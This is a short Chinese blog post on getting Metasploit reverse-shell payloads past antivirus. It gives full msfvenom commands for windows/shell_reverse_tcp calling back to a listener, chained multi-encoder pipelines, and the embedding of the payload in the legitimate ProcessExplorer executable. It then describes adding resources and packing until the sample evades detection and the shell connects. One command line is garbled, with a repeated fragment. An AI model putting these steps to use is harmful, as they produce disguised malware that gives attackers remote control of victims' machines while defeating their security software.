2020-12-03

msf生成的payload的简单免杀

通常利用msf生成的payload在不做任何处理的情况下会被杀软直接干掉，所有需要进行一些操作来进行免杀。
这里我使用的是大蜘蛛杀毒软件来做的实验

msf内置编码器
输入msfvenom -l encoders 会出现msf提供的几种编码方式，使用这些编码对payload进行编码
msfvenom - p windows/shell/reverse_tcp -lhsot 本机ip -lport 端口 -e 编码方式 -i 编码次数 -f 文件格式 -o 文件路径与名称

但仍然报毒

使用多重编码来试试
msfvenom -p windows/shell_reverse_tcp lhost=192.168.114.129 lport=4444 -e x86/context_stat -i 5 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 5 -f exe -o 6.exe

效果也不行

用一下自定义可执行文件模板
这里我采用processexplorer
先wget http://download.sysinternals.com/files/ProcessExplorer.zip
再unzip ProcessExplorer.zip
msfvenom -p windows/shell_reverse_tcp lhost=192.168.114.129 lport=4444 -e x86/context_stat -i 5 -f raw | msfvenom -e x86/alpha_upper -a x29 lport=4444 -e x86/context_stat -i 5 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 5 -x miansha/procexp.exe -f exe -o 7.exe
使用-x 指定自定义可执行文件模板

还是不行
接下来我用一些windows工具来进行免杀操作
将生成好的exe文件放入restorator
这个软件中，将其他软件的资源添给他

通过加壳工具加壳

成功通过

成功上线